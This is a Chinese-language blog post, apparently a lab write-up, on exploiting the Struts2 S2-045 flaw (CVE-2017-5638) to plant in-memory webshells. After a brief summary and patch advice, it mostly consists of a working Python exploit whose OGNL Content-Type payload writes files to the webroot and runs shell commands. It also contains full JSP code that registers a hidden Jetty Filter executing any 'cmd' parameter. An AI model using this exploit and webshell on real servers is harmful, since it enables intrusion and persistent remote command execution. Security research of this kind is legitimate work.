s2-045内存马
2024年9月12日大约 4 分钟
s2-045内存马
漏洞概述
- 漏洞编号: CVE-2017-5638 Struts2远程代码执行漏洞
- 漏洞类型: 远程代码执行漏洞
- 危险等级: 高危
- 利用条件: Struts2在受影响版本内,并包含Commons-FileUpload、Commons-IO库
- 受影响版本: Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10
Struts2是一个基于MVC设计模式的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图的数据交互。
Struts2在受影响版本内,并包含Commons-FileUpload、Commons-IO库时, 该漏洞能够通过构造恶意的 Content-Type 值来执行任意代码。 如果 Content-Type 值无效,则会抛出异常,并向用户显示错误消息,从而能够进一步获取服务器权限。
- 安装官方补丁升级到最新版本: Struts 2.3.32 or Struts 2.5.10.1
- 临时修复方法: Struts2 默认使用 Jakarta 的 Common-FileUpload 文件上传解析器, 修改上传解析器为cos或pell。
漏洞分析
JavaSec/7.Struts2专区/S2-045漏洞分析/index.md at main · Y4tacker/JavaSec (github.com)
命令执行写文件
import httpx
from pathlib import Path
import urllib.parse
# 定义读取文件内容的函数
def read_file(file_path):
with open(file_path, "r", encoding="utf-8") as file:
return file.read()
# 读取 index.jsp 文件的内容
CURRENT_DIR = Path(__file__).parent
# file_path = CURRENT_DIR / 'index.jsp'
file_path = CURRENT_DIR / "testFile.txt"
content = read_file(file_path)
# encoded_content = content.encode('utf-8')
content_encoded = urllib.parse.quote(content)
# 设置请求的 URL
url = "http://192.168.1.215:8080/"
# filename = "/index.jsp"
filename = "/testFile.txt"
# 设置请求头
headers = {
"Upgrade-Insecure-Requests": "1",
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.8,es;q=0.6",
"Connection": "close",
"Content-Type": f"%{{(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ccccc='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#path=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest').getSession().getServletContext().getRealPath('/')).(#shell='{content_encoded}').(new java.io.BufferedWriter(new java.io.FileWriter(#path+'{filename}').append(new java.net.URLDecoder().decode(#shell,'UTF-8'))).close()).(#cmd='echo \\\"write file to '+#path+'\"+ self.num +\"t00ls.jsp\\\"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{{'cmd.exe','/c',#cmd}}:{{'/bin/bash','-c',#cmd}})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}}.multipart/form-data",
}
# 发送 POST 请求
response = httpx.post(url, headers=headers)
# 打印响应结果
print(response.status_code)
print(response.text)
命令执行写 Filter 内存马
适用于当前环境的 Filter 内存马:
<%@ page import="java.lang.reflect.Field"%>
<%@ page import="java.lang.reflect.Method"%>
<%@ page import="java.util.Scanner"%>
<%@ page import="java.util.EnumSet"%>
<%@ page import="java.io.*"%>
<%
String filterName = "myFilter";
String urlPattern = "/filter";
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
if (req.getParameter("cmd") != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[] {"sh", "-c", req.getParameter("cmd")} : new String[] {"cmd.exe", "/c", req.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner( in ).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
servletResponse.getWriter().write(output);
servletResponse.getWriter().flush();
return;
}
filterChain.doFilter(servletRequest, servletResponse);
}
@Override
public void destroy() {
}
};
Method threadMethod = Class.forName("java.lang.Thread").getDeclaredMethod("getThreads");
threadMethod.setAccessible(true);
Thread[] threads = (Thread[]) threadMethod.invoke(null);
ClassLoader threadClassLoader = null;
for (Thread thread:threads)
{
threadClassLoader = thread.getContextClassLoader();
if(threadClassLoader != null){
if(threadClassLoader.toString().contains("WebAppClassLoader")){
Field fieldContext = threadClassLoader.getClass().getDeclaredField("_context");
fieldContext.setAccessible(true);
Object webAppContext = fieldContext.get(threadClassLoader);
// 打印调试信息
out.println("webAppContext class: " + webAppContext.getClass().getName() + "<br>");
out.println("webAppContext superclass: " + webAppContext.getClass().getSuperclass().getName() + "<br>");
try {
// 获取 _servletHandler 字段
Field fieldServletHandler = webAppContext.getClass().getSuperclass().getSuperclass().getDeclaredField("_servletHandler");
fieldServletHandler.setAccessible(true);
Object servletHandler = fieldServletHandler.get(webAppContext);
Field fieldFilters = servletHandler.getClass().getDeclaredField("_filters");
fieldFilters.setAccessible(true);
Object[] filters = (Object[]) fieldFilters.get(servletHandler);
boolean flag = false;
for(Object f:filters){
Field fieldName = f.getClass().getSuperclass().getDeclaredField("_name");
fieldName.setAccessible(true);
String name = (String) fieldName.get(f);
if(name.equals(filterName)){
flag = true;
break;
}
}
if(flag){
out.println("[-] Filter " + filterName + " exists.<br>");
return;
}
out.println("[+] Add Filter: " + filterName + "<br>");
out.println("[+] urlPattern: " + urlPattern + "<br>");
ClassLoader classLoader = servletHandler.getClass().getClassLoader();
Class sourceClazz = null;
Object holder = null;
Field field = null;
try{
sourceClazz = classLoader.loadClass("org.eclipse.jetty.servlet.Source");
field = sourceClazz.getDeclaredField("JAVAX_API");
Method method = servletHandler.getClass().getMethod("newFilterHolder", sourceClazz);
holder = method.invoke(servletHandler, field.get(null));
}catch(ClassNotFoundException e){
sourceClazz = classLoader.loadClass("org.eclipse.jetty.servlet.BaseHolder$Source");
Method method = servletHandler.getClass().getMethod("newFilterHolder", sourceClazz);
holder = method.invoke(servletHandler, Enum.valueOf(sourceClazz, "JAVAX_API"));
}
holder.getClass().getMethod("setName", String.class).invoke(holder, filterName);
holder.getClass().getMethod("setFilter", Filter.class).invoke(holder, filter);
servletHandler.getClass().getMethod("addFilter", holder.getClass()).invoke(servletHandler, holder);
Class clazz = classLoader.loadClass("org.eclipse.jetty.servlet.FilterMapping");
Object filterMapping = clazz.newInstance();
Method method = filterMapping.getClass().getDeclaredMethod("setFilterHolder", holder.getClass());
method.setAccessible(true);
method.invoke(filterMapping, holder);
filterMapping.getClass().getMethod("setPathSpecs", String[].class).invoke(filterMapping, new Object[]{new String[]{urlPattern}});
filterMapping.getClass().getMethod("setDispatcherTypes", EnumSet.class).invoke(filterMapping, EnumSet.of(DispatcherType.REQUEST));
servletHandler.getClass().getMethod("prependFilterMapping", filterMapping.getClass()).invoke(servletHandler, filterMapping);
} catch (NoSuchFieldException e) {
out.println("Error: " + e.getMessage() + "<br>");
}
}
}
}
%>
和上一步写文件的操作一样, 将此 JSP 内容写入到 webapp 目录下, 访问此文件对应 URL, 第二次访问如果注册成功会输出 Filter myFilter exists
:
然后使用注入的 filter 路由执行命令即可:
Servlet马
TODO: vulhub docker 没复现出来, 暂且搁置
其他内存马
Github 全局搜索找到的一个 Struts2 内存马, 但是没看出来作用: